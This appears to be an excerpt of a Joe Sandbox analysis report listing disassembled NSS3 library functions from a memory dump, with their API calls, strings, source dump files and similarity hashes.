Function 6CAAEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAAEE49

Part of subcall function 6CACFAB0: free.MOZGLUE(?,-00000001,?,?,6CA6F673,00000000,00000000), ref: 6CACFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAAEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CAAEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CAAEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CAAEEB3

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 5b4e77d5a2739a8d4c5eb9dcd9625c4404e0a00d604a361490e5679e11ba1680
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 4021D5B6A002107BEB119E58DC81EABB7A9EF45708F080168FD049B351E771DCA987F1

Function 6CAD2550 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6CAD2576
PORT_Alloc_Util.NSS3(00000000), ref: 6CAD2585

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 6CAD25A1
_waccess.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 6CAD25AF
free.MOZGLUE(00000000), ref: 6CAD25BB
free.MOZGLUE(00000000), ref: 6CAD25CA

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ByteCharMultiWidefree$Alloc_UtilValue_waccessmalloc
String ID:
API String ID: 3520324648-0
Opcode ID: 2f90132cdecae154758494c18bb3b436558be7a903f6f2d6f1d0707b5c9ba607
Instruction ID: ce4ad4a87b1e6c67d25e1bd9e40f3269a04f5982424c4244e0a9e2fef872dd27
Opcode Fuzzy Hash: 2f90132cdecae154758494c18bb3b436558be7a903f6f2d6f1d0707b5c9ba607
Instruction Fuzzy Hash: 160147B17052013BFF102E799C1DE7B365CEB46AA5B190230FC29C6A81ED64EE80C6F1

Function 6CB886C0 Relevance: 9.1, APIs: 6, Instructions: 54threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CB886DE

Part of subcall function 6CA60F00: PR_GetPageSize.NSS3(6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000,?,6C9F204A), ref: 6CA60F1B
Part of subcall function 6CA60F00: PR_NewLogModule.NSS3(clock,6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000,?,6C9F204A), ref: 6CA60F25

PR_Lock.NSS3 ref: 6CB88700

Part of subcall function 6CB39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA61A48), ref: 6CB39BB3
Part of subcall function 6CB39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA61A48), ref: 6CB39BC8

getprotobyname.WSOCK32(?), ref: 6CB88709
GetLastError.KERNEL32(?), ref: 6CB88717
PR_GetCurrentThread.NSS3(?,?), ref: 6CB8871F
PR_Unlock.NSS3(?,?), ref: 6CB8873A

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobyname
String ID:
API String ID: 2388724134-0
Opcode ID: 965734f0bfe13b8cc9a57be8dc918d550ff39a5072b23f6bc2e436950b88251d
Instruction ID: 5599434498368f223954779ff25e034c51827f93d3195240b6d4e2b3e1d00b59
Opcode Fuzzy Hash: 965734f0bfe13b8cc9a57be8dc918d550ff39a5072b23f6bc2e436950b88251d
Instruction Fuzzy Hash: ED11047AE251B09BCB00AFB9984058E3674EF45338F094376EC0957BA1DB329C05CBC6

Function 6CA5C4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA5C4F0
free.MOZGLUE ref: 6CA5C51A
TlsSetValue.KERNEL32 ref: 6CA5C540
free.MOZGLUE ref: 6CA5C557
DeleteCriticalSection.KERNEL32 ref: 6CA5C56A
free.MOZGLUE ref: 6CA5C576

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: 31eb60c7a2e915a1feee0ff0f619dd280ab3e10d0c04db98852192b10e3b680a
Instruction ID: 7e52161b41c5e221ac680ecc1ad2f550f2837840c6eba2a955a3341a21c7d4f2
Opcode Fuzzy Hash: 31eb60c7a2e915a1feee0ff0f619dd280ab3e10d0c04db98852192b10e3b680a
Instruction Fuzzy Hash: A4113374504B408BCB10BF79C14815EBFF4FF59759F45491DE8DA87604EB309199CB86

Function 6CA7E520 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000,?,?,6CA87F5D,00000000,00000000,?,?,?,6CA880DD), ref: 6CA7E532

Part of subcall function 6CB39090: TlsGetValue.KERNEL32 ref: 6CB390AB
Part of subcall function 6CB39090: TlsGetValue.KERNEL32 ref: 6CB390C9
Part of subcall function 6CB39090: EnterCriticalSection.KERNEL32 ref: 6CB390E5
Part of subcall function 6CB39090: TlsGetValue.KERNEL32 ref: 6CB39116
Part of subcall function 6CB39090: LeaveCriticalSection.KERNEL32 ref: 6CB3913F

PR_EnterMonitor.NSS3(6CA880DD), ref: 6CA7E549

Part of subcall function 6CB39090: LeaveCriticalSection.KERNEL32 ref: 6CB391AA
Part of subcall function 6CB39090: TlsGetValue.KERNEL32 ref: 6CB39212
Part of subcall function 6CB39090: _PR_MD_WAIT_CV.NSS3 ref: 6CB3926B

PR_ExitMonitor.NSS3 ref: 6CA7E56D
PL_HashTableDestroy.NSS3 ref: 6CA7E57B

Part of subcall function 6CA7E190: PR_EnterMonitor.NSS3(?,?,6CA7E175), ref: 6CA7E19C
Part of subcall function 6CA7E190: PR_EnterMonitor.NSS3(6CA7E175), ref: 6CA7E1AA
Part of subcall function 6CA7E190: PR_ExitMonitor.NSS3 ref: 6CA7E208
Part of subcall function 6CA7E190: PL_HashTableRemove.NSS3(?), ref: 6CA7E219
Part of subcall function 6CA7E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA7E231
Part of subcall function 6CA7E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA7E249
Part of subcall function 6CA7E190: PR_ExitMonitor.NSS3 ref: 6CA7E257

PR_ExitMonitor.NSS3(6CA880DD), ref: 6CA7E5B5
PR_DestroyMonitor.NSS3 ref: 6CA7E5C3

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Monitor$Enter$ExitValue$CriticalSection$Arena_DestroyFreeHashLeaveTableUtil$Remove
String ID:
API String ID: 3740585915-0
Opcode ID: 6964fd4a86143ce35dd52726585305255e7a6f1cd30b237218179af539a79dc2
Instruction ID: 5319365e3fe5c906bbb54c4467943a8be4a5d5ae537b4b81bb8a8632b12fe1e2
Opcode Fuzzy Hash: 6964fd4a86143ce35dd52726585305255e7a6f1cd30b237218179af539a79dc2
Instruction Fuzzy Hash: A8012DB5E201D4CBEF119B24F9A16993BB4F75664CF042136DC0983A21FB327D99DB82

Function 6CA5AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA5AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6CA5AF5C
misuse, xrefs: 6CA5AFCE
%s at line %d of [%.10s], xrefs: 6CA5AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA5AFC4

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 21bce5de34d4cce4e86466e2ec4e0465aae74029094a781fec852a81d17e3cb8
Instruction ID: fc8c2cf73322ce0bca90fec590b1222585f81c35eb149a85a316556b639fcee8
Opcode Fuzzy Hash: 21bce5de34d4cce4e86466e2ec4e0465aae74029094a781fec852a81d17e3cb8
Instruction Fuzzy Hash: 2591F075B012158FDB04CF69C890ABABBF2BF45314F5D81A8E865AB791C331EC55CB60

Function 6C9FE6D0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 194COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C9FE81D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010966,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C9FDB91,?,?), ref: 6C9FE8E7

Strings

%s at line %d of [%.10s], xrefs: 6C9FE8E0
database corruption, xrefs: 6C9FE8DB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9FE8C5, 6C9FE8D1, 6C9FE8F9, 6C9FE905, 6C9FE911, 6C9FE91D, 6C9FE929, 6C9FE935

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3107271255-598938438
Opcode ID: 918831fe2638d352020fc30776db52a2c79ea93033a279174114732d4c7400b9
Instruction ID: 50a7a956a0d919fee05b6a6f201aae872f42a0b2f5d2ce4ea43f93de60fe015e
Opcode Fuzzy Hash: 918831fe2638d352020fc30776db52a2c79ea93033a279174114732d4c7400b9
Instruction Fuzzy Hash: 2C719F71D042699BCB14CF9DC490AFEBBF4AB09314F1445AAE864BBA41D374E942CBA1

Function 6C9FE4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C9FE53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C9FE5BC

Strings

%s at line %d of [%.10s], xrefs: 6C9FE534, 6C9FE5B6
database corruption, xrefs: 6C9FE52F, 6C9FE5B1
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9FE525, 6C9FE596, 6C9FE5A7

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 9a7a1d7e76a7e27dd23f6a4f3d9164869e64580def7b805ed7300019f5724f45
Instruction ID: 9d61bdb1f5625ed39b8ab274d07222e59226e0c69894796b15c929c3eb79480d
Opcode Fuzzy Hash: 9a7a1d7e76a7e27dd23f6a4f3d9164869e64580def7b805ed7300019f5724f45
Instruction Fuzzy Hash: D43138346007145BCB12CEADC88097AB7A5EF45728B54097DE898A7B41F3B4E94BC3E0

Function 6CAD47A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

NSSUTIL_ArgGetParamValue.NSS3(?,?,slotFlags,00000000), ref: 6CAD47AF

Part of subcall function 6CAD4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD413D
Part of subcall function 6CAD4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD4162
Part of subcall function 6CAD4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD416B
Part of subcall function 6CAD4120: PL_strncasecmp.NSS3(6CAD4232,?,00000001), ref: 6CAD4187
Part of subcall function 6CAD4120: NSSUTIL_ArgSkipParameter.NSS3(6CAD4232), ref: 6CAD41A0
Part of subcall function 6CAD4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD41B4
Part of subcall function 6CAD4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CAD41CC
Part of subcall function 6CAD4120: NSSUTIL_ArgFetchValue.NSS3(6CAD4232,?), ref: 6CAD4203

PL_strcasecmp.NSS3(00000000,all,?,?,slotFlags,00000000), ref: 6CAD47C3
PL_strncasecmp.NSS3(00000000,?,?), ref: 6CAD47F0
free.MOZGLUE(?,?,?,?,?,slotFlags,00000000), ref: 6CAD4823

Strings

all, xrefs: 6CAD47BD

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: L_strncasecmp$Valuestrlen$FetchL_strcasecmpParamParameterSkipfreeisspacestrcpy
String ID: all
API String ID: 1061888981-991457757
Opcode ID: e7b5c48d0aa218d733298b3ec0ff607dae2282bb07482f3d66048699fabd1ca2
Instruction ID: 22680b3a05ae5bf5092c4405ab4869d03a1ba869e632bc17924877c9d227e161
Opcode Fuzzy Hash: e7b5c48d0aa218d733298b3ec0ff607dae2282bb07482f3d66048699fabd1ca2
Instruction Fuzzy Hash: 31116632C051949BDF001BA5EC487AE7F69EF422DDF0E0021E8A862901E33265D5CBD1

Function 6CA60DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CA60BDE), ref: 6CA60DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CA60BDE), ref: 6CA60DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CA60BDE), ref: 6CA60DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CA60BDE), ref: 6CA60E32

Strings

%s incr => %d (find lib), xrefs: 6CA60E2D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 056d5734ab9e2f54bf8946ccd804342167699a2c77b1ced6cef75167f94dd187
Instruction ID: 5bafdcc51300bf2aae0efc57ae926dc9feada4d8b5467958816b1768fb1601f4
Opcode Fuzzy Hash: 056d5734ab9e2f54bf8946ccd804342167699a2c77b1ced6cef75167f94dd187
Instruction Fuzzy Hash: A60147727012A09FE7208F25DC45E1B73BCDF45A08B0844ADE909D3B41E761FC9887E1

Function 6CABC590 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CABC5C7
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CABC603
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CABC636
PK11_FreeSymKey.NSS3(?), ref: 6CABC6D7
PK11_FreeSymKey.NSS3(?), ref: 6CABC6E1

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_$DoesMechanism$Free
String ID:
API String ID: 3860933388-0
Opcode ID: 809cb4a0b6ea0c307e7c8ec9c8df8d5511d1864a4be0bf879600ff80c5cd6aca
Instruction ID: 9cd87210bc67de050aee16e9a4acd345a26e0cb1b2d32a0aaecd585bdc2d9492
Opcode Fuzzy Hash: 809cb4a0b6ea0c307e7c8ec9c8df8d5511d1864a4be0bf879600ff80c5cd6aca
Instruction Fuzzy Hash: 1A4182B560120AAFDB019F68DC91DEB77ADEF1824CB141428FD04E7710E732D9A8CBA1

Function 6CAB67D0 Relevance: 7.6, APIs: 5, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB61F0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(70E85609,6CAAC79F,6CAB781D,?,6CAABD52,00000001,70E85609,D85D8B04,?,?), ref: 6CAB6207
Part of subcall function 6CAB61F0: PORT_Alloc_Util.NSS3(-00000002,?,6CAAC79F,6CAB781D,?,6CAABD52,00000001,70E85609,D85D8B04,?,?), ref: 6CAB6216
Part of subcall function 6CAB61F0: NSSUTIL_ArgStrip.NSS3(70E85609,?,?,6CAAC79F,6CAB781D,?,6CAABD52,00000001,70E85609,D85D8B04,?,?), ref: 6CAB6242
Part of subcall function 6CAB61F0: memcpy.VCRUNTIME140(00000000,70E85609,00000000,?,?,?,6CAAC79F,6CAB781D,?,6CAABD52,00000001,70E85609,D85D8B04,?,?), ref: 6CAB625A
Part of subcall function 6CAB61F0: PL_strncasecmp.NSS3(00000000,tokens=,00000007), ref: 6CAB6289
Part of subcall function 6CAB61F0: PL_strncasecmp.NSS3(00000000,cryptoTokenDescription=,00000017), ref: 6CAB629D
Part of subcall function 6CAB61F0: free.MOZGLUE(6CAB781D), ref: 6CAB62B4
Part of subcall function 6CAB61F0: NSSUTIL_ArgFetchValue.NSS3(00000017,?), ref: 6CAB62BF
Part of subcall function 6CAB61F0: PL_strncasecmp.NSS3(?,cryptoSlotDescription=,00000016), ref: 6CAB6304
Part of subcall function 6CAB61F0: free.MOZGLUE(6CAB781D), ref: 6CAB631B
Part of subcall function 6CAB61F0: NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAB6326

PORT_Alloc_Util.NSS3(00000001,?,?,?,?,?,00000000,6CAAC79F,6CAB781D,?,6CAABD84,?,00000000,00000000), ref: 6CAB6834
free.MOZGLUE(6CAAC79F,?,?,?,?,?,?,00000000,6CAAC79F,6CAB781D,?,6CAABD84,?,00000000,00000000), ref: 6CAB68C2
free.MOZGLUE(6CAAC79F,?,?,?,?,?,?,00000000,6CAAC79F,6CAB781D,?,6CAABD84,?,00000000,00000000), ref: 6CAB68D3
free.MOZGLUE(6CAB781D,?,?,?,?,?,?,?,00000000,6CAAC79F,6CAB781D,?,6CAABD84,?,00000000,00000000), ref: 6CAB68E1
free.MOZGLUE(?,?,?,?,?,?,?,00000000,6CAAC79F,6CAB781D,?,6CAABD84,?,00000000,00000000), ref: 6CAB68ED

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$L_strncasecmp$Alloc_FetchUtilValue$Stripmemcpystrlen
String ID:
API String ID: 1610830232-0
Opcode ID: 9eb950060919800655e289226591f695d45e8b74bba725764074a70e031ee297
Instruction ID: 2af3f5d0838a52747d101c1fb593f0ac0119fcb8a1be1f00f4b0222371867ab1
Opcode Fuzzy Hash: 9eb950060919800655e289226591f695d45e8b74bba725764074a70e031ee297
Instruction Fuzzy Hash: 3A417FB1E0021A9BDF04CFA9D8499AEB7B9EF48318F184129D815F7701E735A955CBE0

Function 6CAD4690 Relevance: 7.6, APIs: 5, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000001,00000000,00000000,6CBC0148,?,6CA873A4,?,00000027,00000022), ref: 6CAD46D9
PORT_ZAlloc_Util.NSS3(00000001,00000022), ref: 6CAD473E
free.MOZGLUE(00000000,?,00000022), ref: 6CAD476C
free.MOZGLUE(00000000,?,00000022), ref: 6CAD477A
